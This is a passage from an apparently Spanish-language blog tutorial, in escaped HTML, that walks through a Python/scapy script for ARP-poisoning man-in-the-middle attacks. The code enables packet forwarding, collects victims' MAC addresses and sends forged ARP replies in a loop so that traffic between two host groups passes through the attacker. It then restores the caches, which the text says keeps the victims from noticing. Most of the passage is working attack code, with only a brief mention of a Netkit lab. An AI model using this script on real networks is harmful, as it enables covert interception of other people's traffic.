18);font-size:78%;" &gt;    &lt;b&gt;global&lt;/b&gt; forwarding&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;global&lt;/b&gt; redirect&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;input&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;, output, error= os.popen3(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"sysctl net.ipv4.ip_forward"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; , &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;'r'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    line = output.readline()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    forwarding = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;int&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;( line.split(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"="&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)[&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;].strip() )&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;if&lt;/b&gt; not forwarding:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"El sistema no esta configurado para reenviar paquetes."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Habra que activar momentaneamente el reenvio."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        os.system(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"sudo sysctl net.ipv4.ip_forward=1"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Activado el reenvio de paquetes."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Bien, el reenvio de paquetes ya se encontraba activado."&lt;/span&gt;&lt;/blockquote&gt;&lt;/pre&gt;En cuanto a &lt;span style="font-weight: bold;"&gt;gatherData&lt;/span&gt;, se encarga de averiguar cuales son las MACs de los dos extremos a interceptar. Necesitamos conocerlas para poder restaurar las tablas de ARP a su estado original cuando demos por finalizada la escucha.&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;# Esta funcion recopila los datos necesarios para realizar el envenenamiento ARP.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;def&lt;/b&gt; gatherData():&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;global&lt;/b&gt; mac_list_1&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;global&lt;/b&gt; mac_list_2&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;global&lt;/b&gt; my_MAC&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;global&lt;/b&gt; my_IP&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#En general, obtener la direccion IP local no es un procedimiento portable entre&lt;br /&gt;#sistemas operativos. Podriamos parsear&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt; la salida del comando ifconfig en linux&lt;br /&gt;#y en windows la del comando ipconfig, pero es mucho mas sencillo aprovecharnos &lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#de que scapy usa la mac y la ip locales al crear un paquete ARP.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    arp_packet = scapy.ARP()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    my_MAC = arp_packet.hwsrc&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    my_IP = arp_packet.psrc&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    my_address = IPy.IP(my_IP)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Ahora recopilamos las MACs de los equipos comprendidos en los segmentos pedidos.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Recopilando MACs involucradas para preparar la vuelta atras..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Extremo 1..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;for&lt;/b&gt; ip in target_address_1:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;if&lt;/b&gt; (ip != my_address):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            mac_list_1[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + ip.strNormal() + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" ----&gt; "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + mac_list_1[ip.strNormal()] &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Extremo 2..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;for&lt;/b&gt; ip in target_address_2:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;if&lt;/b&gt; (ip != my_address):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            mac_list_2[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + ip.strNormal() + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" ----&gt; "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + mac_list_2[ip.strNormal()]&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;Una vez terminadas estas labores preliminares, se puede iniciar el ataque de envenenamiento. En el programa se encarga de ello la función &lt;span style="font-weight: bold;"&gt;doARPPoisonAttack&lt;/span&gt;, la cual se repite sucesivas veces en bucle para evitar que los registros fraudulentos de la tabla de ARP caduquen y se deshaga el desvio.&lt;br /&gt;&lt;span style="font-family:monospace;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;# Esta funcion realiza el ataque de envenamiento ARP.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;def&lt;/b&gt; doARPPoisonAttack():&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#La idea es mandar ARP-Replies a los host de la lista target_address_1 haciendoles&lt;br /&gt;#creer que los equipos de target_address_2&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt; tienen la MAC de nuestro equipo y viceversa.&lt;br /&gt;# De esta manera haremos que el trafico entre unos y otros pase por nosotros. &lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Los codigos de operacion de los paquetes ARP son:&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6,&lt;br /&gt;# "Dyn-RARP-err":7, "InARP-req":8,&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;"InARP-rep":9&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Se puede encontrar una descripcion muy completa del formato de los paquetes ARP en:&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#http://www.comptechdoc.org/independent/networking/guide/netarp.html&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Y por supuesto en su correspondiente RFC ;-)&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;for&lt;/b&gt; ip in target_address_1:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;for&lt;/b&gt; ip2 in target_address_2: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Suplantamos a ip en cada ip2.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            arp_packet = scapy.ARP(op=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"is-at"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;,hwsrc=my_MAC,psrc=ip.strNormal(), /&lt;br /&gt;hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#No es necesario, pero si quisieramos forzar el ethertype es necesario instalar&lt;br /&gt; #previamente un fichero /etc/ethertype &lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;valido. Hacer lo siguiente valdra:&lt;br /&gt; # wget http://pierre.droids-corp.org/scapy/ethertypes -O /etc/ethertypes&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Se puede encontrar una lista mucho mas completa en:&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#http://www.iana.org/assignments/ethernet-numbers&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#aunque a esta ultima lista habria que darle formato para que la entendiese&lt;br /&gt; #scapy.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            packet_to_send = ether_packet / arp_packet&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;            # Hemos usado el sendp para realizar el envio a nivel 2.&lt;/i&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            scapy.sendp(packet_to_send, verbose=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;) &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Suplantando a "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip.strNormal()) + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" en la cache ARP de "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;/&lt;br /&gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip2.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;for&lt;/b&gt; ip2 in target_address_2:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;for&lt;/b&gt; ip in target_address_1: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Suplantamos a ip2 en cada ip.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            arp_packet = scapy.ARP(op=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"is-at"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;,hwsrc=my_MAC,psrc=ip2.strNormal(), /&lt;br /&gt;hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            packet_to_send = ether_packet / arp_packet&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            scapy.sendp(packet_to_send, verbose=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Suplantando a "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip2.strNormal()) + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" en la cache ARP de "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; /&lt;br /&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;En este punto es cuanto el atacante puede lanzar un sniffer en otra ventana (o con la orden &lt;a href="http://tuxpepino.wordpress.com/2007/05/24/%C2%BFconocias-screen/"&gt;&lt;span style="font-style: italic;"&gt;screen&lt;/span&gt;&lt;/a&gt; si estamos en la maqueta de Netkit facilitada) y visualizar todo el tráfico intercambiado entre los extremos interceptados. Cuando de por terminada la sesión de escuchas pulsará Control-C para salir del bucle de envenenamiento y se dará paso a la función &lt;span style="font-weight: bold;"&gt;repairARPCaches&lt;/span&gt; que se encargará de enviar paquetes de ARP Update a los extremos atacados para dejar sus tablas de ARP en un estado correcto. Si no se efectuase esta corrección se produciría un corte de comunicaciones entre los dos extremos que podría alertarles del ataque.&lt;span style="font-family:monospace;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;# Esta funcion revierte los cambios realizados reponiendo las MACs correctas&lt;br /&gt;# en las respectivas caches de ARP.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;def&lt;/b&gt; repairARPCaches():&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;for&lt;/b&gt; ip in target_address_1:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;for&lt;/b&gt; ip2 in target_address_2: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Reparamos a ip en cada ip2.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            arp_packet = scapy.ARP(op=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"is-at"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;,hwsrc=mac_list_1[ip.strNormal()], /&lt;br /&gt;psrc=ip.strNormal(),hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            packet_to_send = ether_packet / arp_packet&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;&lt;i&gt;            #Hemos usado sendp para realizar el envio a nivel 2&lt;/i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            scapy.sendp(packet_to_send, verbose=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Reponiendo la MAC de "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip.strNormal()) +  /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" en la cache ARP de "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip2.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;for&lt;/b&gt; ip2 in target_address_2:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;for&lt;/b&gt; ip in target_address_1: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#Reparamos a ip2 en cada ip.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            arp_packet = scapy.ARP(op=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"is-at"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;,hwsrc=mac_list_2[ip2.strNormal()], /&lt;br 